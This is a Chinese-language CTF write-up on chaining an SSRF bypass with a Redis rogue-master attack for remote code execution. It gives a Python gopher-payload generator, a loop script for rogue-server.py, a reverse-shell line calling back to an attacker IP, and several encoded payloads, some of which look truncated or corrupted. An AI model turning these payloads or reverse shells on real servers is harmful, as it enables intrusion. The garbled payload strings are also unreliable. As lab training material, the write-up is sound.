這個題!我一定要說一下!從上周一這位帥氣逼人天天散發著睡不醒氣息的曹師傅給我布置下來之后,我扣扣索索做到了這周四上午,還是看著writeup做的!!!菜雞實錘了!這期間,遇到了各種bug,像什么exp.so上傳不了,shell反彈不回來,還有tmd什么埠被占用,語法錯誤,,,師傅留的這題真不錯,真是讓我這兩周一點都不無聊了呢,說著說著口水就從眼睛流了出來,手動揮狗頭 >_<
先不扯皮,下面開始步入正題
首先, 這題打開是這樣的:
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
然后利用http://0.0.0.0/hint.php 繞過check_inner_ip() 函式的檢測

string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"
拿到密碼是root;
接下來注冊一個小號,因為buu的題目不在外網,所以一般用小號開啟buu Basis類的Linux Lab

用xshell連接,連接主機為node3.buuoj.cn,埠號就是后面的27973,不過此時我的埠號是26773;

接下來本地下載好兩個工具,用xftp上傳到root目錄下(這里目錄不固定,可以隨意發揮),工具鏈接如下:
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
我這里為了方便把第二個工具中的exp.io復制到了第一個工具下,然后開啟rogue-server.py 啟動之后用于偽裝為主redis,不過這個啟動程序一連上就容易斷開,可以寫個死回圈shell腳本跑rogue-server.py ,不然可能導致exp.so都沒傳完就中斷了,
我這里寫的test.sh檔案:

test.sh的代碼:
while [ "1" = "1" ]
do
python rogue-server.py
done
運行截圖是這樣的:

改了一下ssrf-redis.py檔案腳本(這里參考的別人的腳本)參考的博客鏈接我會貼在最后,里面的lhost,lport別忘了改成此靶機Linux Lab的ip;
# 使用方法就是分三次生成payload (dirty hack ,打開每次cmd 里面的注釋),
from urllib.parse import quote
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x))) + CRLF + x
cmd += CRLF
return cmd
def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
exp_filename = "exp.so"
cmd = [
# 第一次
# "CONFIG SET dir /tmp/",
# "config set dbfilename exp.so",
# "SLAVEOF {} {}".format(lhost, lport),
# 第二次
# "MODULE LOAD /tmp/exp.so",
# 第三次
"system.exec {}".format(command.replace(" ", "${IFS}")),
# 這里有個細節就是使用${IFS}代替引數中的空格,因為上面的redis_format函式會根據空格來進行分割命令和引數
# "system.rev 174.2.6.11${IFS}2333",
# "SLAVEOF NO ONE",
# "CONFIG SET dbfilename dump.rdb",
# "system.exec rm${IFS}/tmp/{}".format(exp_filename),
# "MODULE UNLOAD system",
"quit",
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
if __name__ == '__main__':
#攻擊機ip:
lhost = "174.2.6.11"
lport = "21000"
passwd = "root"
command = "cat /flag"
# command = "bash -i >& /dev/tcp/174.2.6.11/2333 0>&1"
cmd = generate_rce(lhost,lport,passwd,command)
rhost = "0.0.0.0"
rport = "6379"
payload = 'gopher://'+rhost+":"+rport+"/_"
a = ""
for x in cmd:
a += redis_format(x)
payload += quote(redis_format(x))
print(a)
print(payload)
用這個生成payload,第一次的payload:

gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%240D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2413%0D%0A172.16.128.66%0D%0A%%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
生成的payload最后的%0D%0A這一小段可以去掉(圖片上半框中選中的一小截),沒什么用;由于題目中還使用了curl ,所以需要對payload 進行二次url 編碼,這個在線編碼工具還不錯:http://www.jsons.cn/urlencode/

在web中寫入后:

接下來,第二條payload:

gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
同樣進行二次url編碼:

web寫入后,cat /flag成功執行,拿到flag,題目完成:


說實話,這個題拿到flag的是時候我還是有點懵逼的,可能是原理還沒了解透的原因,所以寫的步驟方面多一些,原理方面基本沒有提及,寫完這篇后我再去研究研究,,
沒錯,就是這么簡簡單單的幾個步驟,我做了兩周,,,不過剛來不久的老鄉同事鄭大哥倒是很快做了出來,在他和上文中的曹師傅的幫助下,我花了短短兩周終于拿到了flag!!!蒼天有眼啊!至少這句話我不用完成了,,

這里給這兩位大佬一個致謝,都是未來網路安全行業的大佬,
參考博客:
https://blog.csdn.net/qq_41891666/article/details/107103116
https://blog.csdn.net/weixin_43610673/article/details/106457180
https://blog.csdn.net/qq_36438489/article/details/106538473
https://www.jianshu.com/p/a940731cddaf
轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/236627.html
標籤:其他
